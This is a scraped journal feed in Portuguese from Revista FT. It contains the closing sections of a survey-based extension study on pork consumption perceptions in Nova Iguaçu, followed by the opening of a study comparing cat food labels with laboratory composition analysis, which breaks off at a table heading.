divulgação de materiais educativos, como panfletos informativos, além da criação e utilização de uma rede social digital (Instagram), visando alcançar um maior número de pessoas. Essas estratégias tiveram como finalidade disseminar informações confiáveis sobre o consumo da carne suína, ampliar o número de visualizações, promover maior engajamento do público e expandir o alcance das ações de conscientização. As atividades extensionistas foram aplicadas tanto de forma online quanto presencial, utilizando o município de Nova Iguaçu como base para a realização de palestras e a distribuição de materiais informativos na universidade e em escolas da região. A análise estatística dos dados foi realizada por meio de análise descritiva, com cálculo das frequências relativas e absolutas das respostas, utilizando-se a média aritmética simples.&nbsp;</p>



<h5 class="wp-block-heading"><strong>RESULTADOS&nbsp;</strong></h5>



<p class="wp-block-paragraph">Foram obtidas 214 respostas aos formulários, abrangendo alguns estados do Brasil, sendo 75,2% respondidos por mulheres e 24,8% por homens (Figura&nbsp;1).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong> – Representação gráfica do gênero dos respondentes.&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="456" height="238" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-304.png" alt="" class="wp-image-262943" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-304.png 456w, https://revistaft.com.br/wp-content/uploads/2026/01/image-304-300x157.png 300w" sizes="(max-width: 456px) 100vw, 456px" /></figure>



<p class="wp-block-paragraph">Participaram da pesquisa 38 respondentes. Observou-se predominância de indivíduos na faixa etária entre 18 e 25 anos, correspondendo a 47,4% da amostra. Em seguida, a faixa etária de 26 a 35 anos representou 26,3% dos participantes. A faixa de 36 a 45 anos correspondeu a 13,2% dos respondentes. As demais faixas etárias — 46 a 55 anos, 56 a 64 anos e acima de 65 anos — apresentaram menor representatividade, totalizando, em conjunto, uma parcela reduzida da amostra.&nbsp;</p>



<p class="wp-block-paragraph">Em relação ao nível de escolaridade, 30,8% possuem ensino superior incompleto; 28%, ensino médio completo; 22,9% ensino superior completo; 10,3% pós-graduação; 1,8%, ensino fundamental completo; 1,8%, ensino médio incompleto; 3,3% mestrado; 2,8% ensino médio incompleto e 1,4 ensino fundamental completo, 0,5%, ensino fundamental incompleto.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Quanto ao estado de residência, 84,6% das respostas foram provenientes do estado do Rio de Janeiro (RJ); 3%, de São Paulo (SP); 0,6%, do Rio Grande do Sul (RS); 1,8%, de Alagoas (AL); 0,6%, do Amazonas (AM); 0,6%, da Bahia (BA); 1,8%, do Espírito Santo (ES); 0,6%, de Goiás (GO); 0,6%, do Mato Grosso do Sul (MS); 1,8%, de Minas Gerais (MG); 0,6%, do Pará (PA); e 0,6%, de Pernambuco (PE) (Figura 2).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2</strong> – Distribuição dos respondentes de acordo com o estado de residência.&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="456" height="238" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-305.png" alt="" class="wp-image-262944" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-305.png 456w, https://revistaft.com.br/wp-content/uploads/2026/01/image-305-300x157.png 300w" sizes="(max-width: 456px) 100vw, 456px" /></figure>



<p class="wp-block-paragraph">Em relação à renda familiar, 51% declararam possuir renda superior a quatro salários mínimos; 26%, de dois a três salários mínimos; 13,2%, de um a dois salários mínimos; e 9,8%, até um salário mínimo (Figura 3).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 3 – </strong>Distribuição da renda familiar mensal total dos respondentes.<strong>&nbsp;</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="480" height="238" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-306.png" alt="" class="wp-image-262945" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-306.png 480w, https://revistaft.com.br/wp-content/uploads/2026/01/image-306-300x149.png 300w" sizes="(max-width: 480px) 100vw, 480px" /></figure>



<p class="wp-block-paragraph">A preferência por tipos de carne revelou que 36,9% preferem carne bovina; 26,2% carne de frango; 18,2% todas as carnes; 14,5% preferem peixes e 4,2%, carne suína. Os principais motivos para essa preferência foram: 63,6% indicaram o sabor agradável; 16,4%, o hábito familiar ou cultural; 6,1 o maior valor nutricional; 4,7% o melhor custo-benefício; 4,2 o menor teor de gordura; 3,7% a facilidade no preparo; e 1,4%, restrição a outros tipos de carne.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Sobre o consumo de carne suína, 88,8% afirmaram consumir, enquanto 11,2% declararam não consumir (Figura 4).&nbsp;&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 4 –</strong> Distribuição dos respondentes quanto ao consumo de carne suína.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="480" height="238" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-307.png" alt="" class="wp-image-262946" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-307.png 480w, https://revistaft.com.br/wp-content/uploads/2026/01/image-307-300x149.png 300w" sizes="(max-width: 480px) 100vw, 480px" /></figure>



<p class="has-text-align-left wp-block-paragraph">Quanto à frequência de consumo, 44,9% responderam que consomem algumas vezes por mês; 18,2% de uma a duas vezes por semana; 16,8 raramente; 10,3%, não consomem; 7,5%, uma vez por mês; 1,4%, em datas comemorativas; e 0,5%, em outras ocasiões.&nbsp;</p>



<p class="wp-block-paragraph">Em relação aos motivos de não consumirem carne suína foi: 57,5% afirmaram não ter nada contra e que consomem carne suína; 19,6%, falta de costume; 5,6%, consomem apenas bacon ou torresmo; 5,1%, não gostam do sabor; 5,1, Carne gordurosa e com muito colesterol; 3,3% Medo de transmissão de doenças; 1,9%, Motivos religiosos; 1,4 Preço alto; e 0,5%, restrição médica.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os principais motivos para consumir carne suína foram: 60,7% indicaram o sabor; 18,2%, a disponibilidade; 17,8%, o menor preço; 12,6%, não consomem; 14,5%, a qualidade; 10,3 consideram a carne mais saudável e 7,3%, a maciez;&nbsp;</p>



<p class="wp-block-paragraph">Quando questionados sobre achar que a carne suína é saudável, 65% disseram que sim; 19,6% não soube responder e 15,4% disseram que não é saudável (Figura 5).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 5 &#8211;</strong> Principais motivos relatados pelos respondentes para o consumo de carne suína.&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="522" height="276" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-308.png" alt="" class="wp-image-262947" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-308.png 522w, https://revistaft.com.br/wp-content/uploads/2026/01/image-308-300x159.png 300w" sizes="(max-width: 522px) 100vw, 522px" /></figure>



<p class="wp-block-paragraph">Quando questionados sobre a possibilidade de a carne suína transmitir doenças, 48,1 responderam que sim; 31,8%, que não; e 20,1%, que não souberam responder.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Quanto aos principais locais de compra de carne suína, 75,7% informaram que compram em supermercados; 32,2%, em açougues; 7,9% não consomem; 4,7%, em feiras livres; 2,8%, em qualquer local; e 1,4%, consomem apenas fora de casa (Figura 6).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 6 – </strong>Principais locais de compra de carne suína relatados pelos respondentes.&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="522" height="276" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-309.png" alt="" class="wp-image-262948" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-309.png 522w, https://revistaft.com.br/wp-content/uploads/2026/01/image-309-300x159.png 300w" sizes="(max-width: 522px) 100vw, 522px" /></figure>



<p class="wp-block-paragraph">Sobre a preocupação com a procedência da carne suína, 87,4% afirmaram que sempre compram carne suína inspecionada, enquanto 12,6% disseram não se preocupar com a procedência (Figura 7).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 7 –</strong> Preocupação dos respondentes quanto à procedência da carne suína.&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="502" height="233" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-311.png" alt="" class="wp-image-262950" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-311.png 502w, https://revistaft.com.br/wp-content/uploads/2026/01/image-311-300x139.png 300w" sizes="(max-width: 502px) 100vw, 502px" /></figure>



<p class="wp-block-paragraph">Quanto à preferência pelos cortes suínos, 24,3% indicaram costela; 22,4%, costela; 19,6%, outros ou todos; 11,7%, pernil; 10,3%, não consomem; 6,5%, lombo; e 5,1%, bisteca.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em relação à forma de preparo preferida, 24,8% responderam assada; 20,6%, todas as formas; 18,2%, churrasco; 10,7%, frita; 10,3%, não consomem; 8,9%, grelhada; e 6,5%, cozida. Quanto à preferência entre carne suína industrializada e in natura, 48,6% preferem industrializada; 38,3%, in natura; e 13,1%, não consomem.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Por fim, ao serem questionados se já ouviram falar sobre a relação entre carne suína mal preparada e doenças como teníase e cisticercose, 54,7% afirmaram que sim, conhecem bem; 34,6%, já ouviram falar, mas não sabem bem o que é; e 10,7%, nunca ouviram falar (Figura 8).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 8 &#8211;</strong> Conhecimento dos respondentes sobre a relação entre o consumo de carne suína mal preparada e a ocorrência de doenças como teníase e cisticercose.&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="529" height="258" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-312.png" alt="" class="wp-image-262951" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-312.png 529w, https://revistaft.com.br/wp-content/uploads/2026/01/image-312-300x146.png 300w" sizes="(max-width: 529px) 100vw, 529px" /></figure>



<h5 class="wp-block-heading"><strong>DISCUSSÃO&nbsp;</strong></h5>



<p class="wp-block-paragraph">Os resultados obtidos no presente estudo evidenciam que, embora a maioria dos participantes declare consumir carne suína, ainda persistem percepções equivocadas relacionadas à saúde, à segurança alimentar e à transmissão de doenças, aspectos historicamente associados a esse tipo de carne. Esses achados corroboram a literatura, que aponta a presença de mitos como um dos principais fatores limitantes do consumo interno de carne suína no Brasil, mesmo diante dos avanços tecnológicos da suinocultura moderna (Santos et al., 2012; Souza et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">A predominância de respondentes jovens adultos, com ensino médio completo ou superior incompleto, sugere que o público avaliado possui acesso à informação, mas nem sempre a conteúdos técnicos e atualizados sobre a cadeia produtiva suinícola. Estudos demonstram que o nível de escolaridade, isoladamente, não garante conhecimento adequado sobre os sistemas de produção animal, sendo necessária a divulgação de informações claras e acessíveis, especialmente voltadas à segurança sanitária e ao valor nutricional da carne suína (Muniz et al., 2015).&nbsp;</p>



<p class="wp-block-paragraph">Apesar de 65% dos participantes considerarem a carne suína saudável, parcela significativa ainda associa seu consumo ao risco de transmissão de doenças, como teníase e cisticercose, percepção também observada em outros estudos realizados no Brasil (Bragagnolo, 2020). Essa associação reflete resquícios de práticas sanitárias antigas, que não condizem com o atual cenário da suinocultura nacional, caracterizado por rígido controle sanitário, inspeção oficial e sistemas de produção altamente tecnificados (ABPA, 2023).&nbsp;</p>



<p class="wp-block-paragraph">A preferência declarada por outros tipos de carne, como a bovina e a de frango, em detrimento da carne suína, está alinhada a dados nacionais que indicam menor consumo per capita desse produto no Brasil quando comparado a outros grandes produtores mundiais (Jesus et al., 2023). O sabor agradável, a disponibilidade e o preço acessível foram citados como fatores positivos para o consumo, o que demonstra que a resistência ao produto não está necessariamente ligada às suas características sensoriais, mas sim à falta de informação e à persistência de mitos culturais.&nbsp;</p>



<p class="wp-block-paragraph">A elevada proporção de respondentes que afirmaram adquirir carne suína em locais inspecionados indica uma preocupação relevante com a procedência do alimento, aspecto positivo do ponto de vista da saúde pública. No entanto, a existência de indivíduos que ainda não se atentam à inspeção sanitária reforça a necessidade de ações educativas contínuas, voltadas à conscientização do consumidor quanto à importância da fiscalização oficial na prevenção de doenças transmitidas por alimentos (Souza et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">Nesse contexto, as metodologias extensionistas desenvolvidas no presente estudo — incluindo questionários diagnósticos, materiais informativos, ações presenciais e o uso de redes sociais — mostram-se estratégias fundamentais para a disseminação do conhecimento científico de forma acessível. A extensão universitária exerce papel essencial na aproximação entre universidade e sociedade, promovendo educação alimentar, desmistificação de conceitos errôneos e valorização das cadeias produtivas nacionais (Muniz et al., 2015).&nbsp;</p>



<h5 class="wp-block-heading"><strong>CONCLUSÃO&nbsp;</strong></h5>



<p class="wp-block-paragraph">Os resultados obtidos demonstram que, embora o consumo de carne suína esteja presente na rotina alimentar de grande parte da população avaliada, ainda há lacunas importantes de conhecimento relacionadas à sua qualidade, segurança e forma de produção. A integração entre levantamento de dados e ações extensionistas revelou-se uma ferramenta eficaz para identificar essas lacunas e atuar diretamente na conscientização do público, contribuindo para a desmistificação da carne suína. Assim, conclui-se que o acesso à informação confiável e a adoção de estratégias educativas contínuas são fundamentais para ampliar a aceitação da carne suína no Brasil, fortalecer a suinocultura nacional e promover escolhas alimentares mais conscientes e seguras.&nbsp;</p>



<h5 class="wp-block-heading"><strong>REFERÊNCIAS&nbsp;</strong></h5>



<p class="wp-block-paragraph">ABPA-ASSOCIAÇÃO BRASILEIRA DE PROTEÍNA ANIMAL. Relatório anual 2023.&nbsp;</p>



<p class="wp-block-paragraph">BRAGAGNOLO, G.P. Pecuária bovina no Brasil e disfuncionalidades do mercado financeiro: um estudo sobre os impactos no valor de mercado dos frigoríficos brasileiros de capital aberto decorrente do aumento da demanda chinesa em virtude da peste suína africana. Dissertação (mestrado em Agronegócio) FGVEscola de Economia de São Paulo, São Paulo, 2020.&nbsp;</p>



<p class="wp-block-paragraph">JESUS, R.R. et al. A influência da desinformação no consumo de carne suína no&nbsp;Brasil. <strong>Brazilian Journal of Animal and Environmental Research</strong>, v.6, n.4, p.&nbsp;3132-3148, 2023.&nbsp;</p>



<p class="wp-block-paragraph">MUNIZ, D. C. et al. Caracterização do consumo de carne suína e avícola “in natura” através dos estabelecimentos comerciais no município de Ilhéus-Bahia. <strong>Revista Eletrônica de Pesquisa Animal</strong>, v. 3, n. 1, p. 24-34, 2015.&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, E. L. et al. Mercado consumidor de carne suína e seus derivados em Rio Largo-AL. <strong>Acta Veterinaria Brasilica</strong>, v. 6, p. 230-238, 2012.&nbsp;</p>



<p class="wp-block-paragraph">SOUZA, M. C. M. et al. Consumo de carne suína e derivados pela população de Juiz de Fora, Minas Gerais, Brasil. <strong>Brazilian Journal of Animal and Environmental Research</strong>, v. 4, n. 3, p. 4436-4449, 2021.&nbsp;</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente da Universidade Iguaçu, Graduação em Medicina Veterinária. Nova Iguaçu – RJ Brasil Email: Karine.souzat@gmail.com (autor para correspondência) </p>



<p class="has-text-align-right wp-block-paragraph"><sup>2</sup>Docente da Universidade Iguaçu, Nova Iguaçu – RJ Brasil</p>



<p class="has-text-align-right wp-block-paragraph"><sup>3</sup>Biólogo e Engenheiro Florestal, Perito da SEPOL &#8211; RJ Brasil</p>



<p class="has-text-align-right wp-block-paragraph"><sup>4</sup>Discente da UNESA, graduação em Medicina Veterinária, Rio de Janeiro – RJ Brasil</p>
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			</item>
		<item>
		<title>ANÁLISE DE INFORMAÇÕES NUTRICIONAIS E AVALIAÇÃO DA COMPOSIÇÃO BROMATOLÓGICA DE RAÇÕES PARA GATOS </title>
		<link>https://revistaft.com.br/analise-de-informacoes-nutricionais-e-avaliacao-da-composicao-bromatologica-de-racoes-para-gatos/</link>
		
		<dc:creator><![CDATA[Revistaft FA]]></dc:creator>
		<pubDate>Sat, 17 Jan 2026 21:04:27 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=262930</guid>

					<description><![CDATA[ANALYSIS OF NUTRITIONAL INFORMATION AND EVALUATION OF THE BROMATOLOGICAL COMPOSITION OF CAT FOODS&#160; REGISTRO DOI: 10.69849/revistaft/fa10202601171804 Letícia Souza Lopes1, Maria Eduarda Batista Alves1, Thaissa Guimarães Assem1, Maíra Santos da Silva1, Mariana Ribeiro Alves2, Paula Fernanda Chaves Soares3, Dala Kezen Vieira Hardman&#160;Leite2, Daniela Mello Vianna Ferrer3, Marina Jorge de Lemos3&#160; RESUMO&#160; A alimentação e comercialização de [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">ANALYSIS OF NUTRITIONAL INFORMATION AND EVALUATION OF THE BROMATOLOGICAL COMPOSITION OF CAT FOODS&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/fa10202601171804</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Letícia Souza Lopes<sup>1</sup>, Maria Eduarda Batista Alves<sup>1</sup>, Thaissa Guimarães Assem<sup>1</sup>, Maíra Santos da Silva<sup>1</sup>, Mariana Ribeiro Alves<sup>2</sup>, Paula Fernanda Chaves Soares<sup>3</sup>, Dala Kezen Vieira Hardman&nbsp;Leite<sup>2</sup>, Daniela Mello Vianna Ferrer<sup>3</sup>, Marina Jorge de Lemos<sup>3</sup>&nbsp;</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<h5 class="wp-block-heading"><strong>RESUMO&nbsp;</strong></h5>



<p class="wp-block-paragraph">A alimentação e comercialização de produtos voltados aos animais de companhia estão em alta nos últimos anos, onde as práticas de manejo alimentar realizadas para estes animais são fortemente influenciadas pelas preferências e atitudes dos tutores. Sabe-se que uma vida saudável está diretamente relacionada com a nutrição, portanto, se faz necessário saber se o alimento ingerido é de boa qualidade, se está dentro das normas estabelecidas pelo MAPA, atendendo as necessidades nutricionais, e se condizem com a informação descrita na embalagem. Baseado no exposto, o presente trabalho teve como objetivo avaliar as informações nutricionais nos rótulos e avaliar a qualidade bromatológica de rações para felinos domésticos comercializadas na região central da cidade de Nova Iguaçu – RJ. Para a realização do trabalho, foi realizada uma pesquisa de campo nas principais casas de rações para felinos domésticos, na região central na cidade de Nova Iguaçu, RJ. A pesquisa consistiu em fazer um levantamento de todas as marcas de rações para gatos e seus valores, encontradas no comércio. Durante o levantamento, as rações foram agrupadas por fases da criação animal, como Filhotes e Adultos; e por categorias, como Standard, Premium, Super Premium e Rações especiais. Após o levantamento, as rações foram levadas para o laboratório de alimentos da UNIG e identificadas por letras para se preservar o nome do fabricante, onde as informações dos rótulos foram analisadas. Para a avaliação das informações nutricionais, foram realizados cálculos para encontrar a porcentagem de nutrientes em relação ao quilo de ração, com base nos dados fornecidos no rótulo da ração, e também a relação de preço dos nutrientes para cada quilo. Na análise bromatológica, as variáveis foram: matéria fibrosa, matéria mineral, proteína bruta, extrato etéreo e umidade. A análise estatística dos dados se baseou em uma análise descritiva, com cálculo da frequência de cada não conformidade, por meio de média aritmética simples. As rações das categorias Standard e Especiais mantiveram conformidade com os limites estabelecidos pelo MAPA. As rações Premium e Super Premium, exceto quanto à matéria mineral na Premium que estava acima do permitido, também atenderam à legislação vigente, porém apresentaram inconsistências entre os valores declarados no rótulo e os resultados da análise. Assim, a conformidade com o MAPA não garante total fidedignidade, reforçando a necessidade de fiscalização contínua e rotulagem transparente. O estudo evidenciou que, apesar da conformidade legal com o MAPA, existem discrepâncias entre rótulos e análises laboratoriais de rações para gatos. Ressalta-se a necessidade de fiscalização contínua e transparência na rotulagem para garantir segurança nutricional e saúde felina.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>Bromatologia; Extrato etéreo; Felinos; Matéria mineral; Proteína bruta.&nbsp;</p>



<h5 class="wp-block-heading"><strong>ABSTRACT&nbsp;</strong></h5>



<p class="wp-block-paragraph">The feeding and marketing of products for companion animals has been on the rise in recent years, with feeding practices strongly influenced by the preferences and attitudes of their owners. A healthy life is known to be directly related to nutrition; therefore, it is essential to know whether the food consumed is of good quality, meets the standards established by MAPA (National Health Ministry), meets nutritional needs, and matches the information described on the packaging. Based on the above, this study aimed to evaluate the nutritional information on labels and assess the chemical quality of pet cat food sold in the central region of the city of Nova Iguaçu, RJ. To carry out the project, a field survey was conducted at the main pet cat food stores in the central region of the city of Nova Iguaçu, RJ. The research consisted of a survey of all cat food brands and their prices found in stores.&nbsp; During the survey, the feeds were grouped by animal husbandry phase, such as Puppies, Adults, and Castrated Calves; and by categories, such as Standard, Premium, Super Premium, and Special Feeds. After the survey, the feeds were taken to the UNIG food laboratory and identified by letters to protect the manufacturer’s name, where the label information was analyzed. To evaluate the nutritional information, calculations were performed to determine the percentage of nutrients per kilogram of feed, based on the information provided on the feed label, as well as the price ratio of nutrients per kilogram. In the bromatological analysis, the variables were: Fiber, minerals, crude protein, ether extract and moisture.. The statistical analysis of the data was based on a descriptive analysis, calculating the frequency of each nonconformity using simple arithmetic means. The Standard and Special category feeds complied with the limits established by MAPA. The Premium and Super Premium feeds, except for the mineral content in the Premium feed which was above the permitted level, also met the current legislation, but showed inconsistencies between the values declared on the label and the results of the analysis. Therefore, compliance with MAPA does not guarantee complete reliability, reinforcing the need for ongoing monitoring and transparent labeling. The study revealed that, despite legal compliance with MAPA, there are discrepancies between labels and laboratory analyses of cat foods. The need for ongoing monitoring and transparent labeling is emphasized to ensure nutritional safety and feline health.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Bromatology; Ethereal extract; Felines; Minerals; Crude protein.&nbsp;</p>



<h5 class="wp-block-heading"><strong>INTRODUÇÃO</strong>&nbsp;</h5>



<p class="wp-block-paragraph">Nos últimos anos, observou-se um aumento significativo na presença de animais de companhia em ambientes familiares, refletindo uma mudança no status dos felinos domésticos de simples animais de estimação para membros integrais da família. Esse fenômeno tem impulsionado a expansão do mercado pet, com destaque para a indústria de alimentos para animais de companhia, que conta com mais de 500 marcas e mais de 80 fabricantes no Brasil (Abinpet, 2019).&nbsp;</p>



<p class="wp-block-paragraph">As rações disponíveis no mercado são classificadas em três categorias: Standard, Premium e Super Premium, diferenciando-se principalmente pela qualidade das matérias-primas utilizadas e pelo nível de enriquecimento nutricional. Além disso, são segmentadas conforme a fase da vida do animal (filhote, adulto e sênior) e porte (mini/pequeno e médio/grande), visando atender às necessidades específicas de cada grupo (Becker, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Esse crescimento do mercado pet reflete a crescente valorização dos animais de companhia como membros da família, o que eleva a importância da alimentação na promoção da saúde e bem-estar dos felinos (Lima, 2022). No entanto, ainda há uma escassez de estudos científicos que correlacionem a composição nutricional, a qualidade bromatológica, evidenciando a necessidade de pesquisas que avaliem se os produtos atendem efetivamente às exigências fisiológicas dos animais.&nbsp;</p>



<p class="wp-block-paragraph">A análise das informações presentes nos rótulos, confrontada com a composição bromatológica das rações, é essencial para verificar o cumprimento dos padrões estabelecidos pela legislação vigente. Isso permite orientar os tutores na escolha de produtos que atendam às necessidades nutricionais de seus animais, promovendo sua saúde e contribuindo para uma regulação mais eficaz do setor (Brasil, 2009).&nbsp;</p>



<p class="wp-block-paragraph">Sabe-se que a saúde dos felinos está diretamente relacionada à qualidade da alimentação fornecida. Práticas inadequadas de manejo alimentar, influenciadas pelas preferências dos tutores, podem resultar em doenças nutricionais, como a obesidade. Esta condição tem se tornado uma das principais preocupações em pequenos animais, associada ao sedentarismo e ao fornecimento excessivo de alimentos com alta densidade energética (Laflamme, 2020).&nbsp;</p>



<p class="wp-block-paragraph">A rotulagem dos alimentos deve seguir as diretrizes estabelecidas pela legislação, como a Instrução Normativa nº 30 de 2009 do Ministério da Agricultura, Pecuária e Abastecimento (MAPA), que exige a presença de informações obrigatórias, como garantia de níveis nutricionais, ingredientes e composição centesimal (Brasil, 2009). Essas informações são fundamentais para que os tutores façam escolhas conscientes e adequadas às necessidades de seus animais.&nbsp;</p>



<p class="wp-block-paragraph">Neste contexto, o presente trabalho teve como objetivo avaliar as informações nutricionais nos rótulos e a qualidade bromatológica de rações para felinos domésticos comercializadas na região central da cidade de Nova Iguaçu – RJ, visando auxiliar na escolha da melhor ração conforme as necessidades do animal.&nbsp;</p>



<h5 class="wp-block-heading"><strong>METODOLOGIA&nbsp;</strong></h5>



<p class="wp-block-paragraph">Foi realizada uma pesquisa de campo nas principais casas de rações e comércios que vendem rações para felinos domésticos, na região central da cidade de Nova Iguaçu, RJ, no período entre fevereiro e outubro de 2025 .&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Na primeira fase do trabalho, a pesquisa consistiu em fazer um levantamento de todas as marcas de rações para gatos e seus valores, encontradas no comércio. Durante o levantamento, as rações foram agrupadas por fases da criação animal, como Filhotes e Adultos; e por categorias, como Standard, Premium, Super Premium e Rações especiais. Após o levantamento, as rações foram levadas para o laboratório de alimentos da UNIG e identificadas por letras para se preservar o nome do fabricante (Figura 2), onde as informações dos rótulos foram analisadas.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1 &#8211;</strong> Amostras de ração separadas para análise</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="301" height="215" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-294.png" alt="" class="wp-image-262931"/></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2</strong> <strong>&#8211;</strong> Amostras de ração separadas para análise.&nbsp;&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="198" height="232" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-295.png" alt="" class="wp-image-262932"/></figure>



<p class="has-text-align-left wp-block-paragraph">Na segunda fase do presente trabalho, foram adquiridas rações para filhotes e para adultos das duas principais marcas comercializadas na região central do município de Nova Iguaçu – RJ, identificadas na presente pesquisa como marca A e B, para posterior análise bromatológica. Na análise foi avaliado o teor de matéria fibrosa, matéria mineral, proteína bruta, extrato etéreo e umidade de cada tipo de ração, em parceria com o Laboratório de bromatologia do departamento de nutrição animal do Instituto de zootecnia da UFRRJ, de acordo com a metodologia compatível com a&nbsp;Association of the Official Analytical Chemists (Brasil, 2003).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os valores observados foram comparados com os valores presentes nos rótulos das rações, considerando os valores mínimos e máximos permitidos pelo Ministério da Agricultura, Pecuária e Abastecimento &#8211; MAPA. Também foram avaliadas as informações de manejo alimentar presentes nos rótulos das rações, se as mesmas se enquadraram no recomendado pelo MAPA.&nbsp;</p>



<p class="wp-block-paragraph">A análise estatística dos dados se baseou em uma análise descritiva, com cálculo da frequência de cada não conformidade, por meio de média aritmética simples.&nbsp;</p>



<h5 class="wp-block-heading"><strong>RESULTADOS E DISCUSSÃO&nbsp;</strong></h5>



<p class="wp-block-paragraph">Em relação à primeira etapa da pesquisa, as tabelas 1 e 2 evidenciam a composição nutricional da principal marca Standard comercializada para filhotes e adultos.&nbsp;&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1 &#8211;</strong> Composição de nutrientes (Filhote &#8211; Standard)&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="573" height="185" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-296.png" alt="" class="wp-image-262933" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-296.png 573w, https://revistaft.com.br/wp-content/uploads/2026/01/image-296-300x97.png 300w" sizes="(max-width: 573px) 100vw, 573px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2 &#8211;</strong> Composição de nutrientes (Adulto &#8211; Standard)&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="573" height="185" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-297.png" alt="" class="wp-image-262934" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-297.png 573w, https://revistaft.com.br/wp-content/uploads/2026/01/image-297-300x97.png 300w" sizes="(max-width: 573px) 100vw, 573px" /></figure>



<p class="wp-block-paragraph">Nas rações Standard, observou-se que na formulação para filhotes os valores de umidade foram coincidentes entre MAPA e rótulo (12%), a matéria mineral apresentou 12% no MAPA e 10% no rótulo, ainda dentro do padrão de normalidade.&nbsp;</p>



<p class="wp-block-paragraph">A proteína bruta indicou 28% no MAPA e 32% no rótulo, assim como o extrato etéreo 8% no MAPA e 10% no rótulo, matéria fibrosa ficou em 4,5% no MAPA e 3% no rótulo os três em conformidade com o MAPA. Para a versão adulto, repetiu-se a coincidência de 12% para umidade, matéria mineral de 12% (MAPA) para 8,5% (rótulo). A proteína bruta foi de 24% no MAPA e 30% no rótulo, o extrato etéreo de 8% e 9%, e a matéria fibrosa de 5% e 4%. Mantendo todos os resultados em conformidade com o MAPA.&nbsp;</p>



<p class="wp-block-paragraph">Nas tabelas 3 e 4 estão evidenciadas as informações nutricionais das principais marcas Especiais comercializadas.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 3</strong> <strong>&#8211;</strong> Composição de nutrientes (Especiais &#8211; Renal)&nbsp;</p>



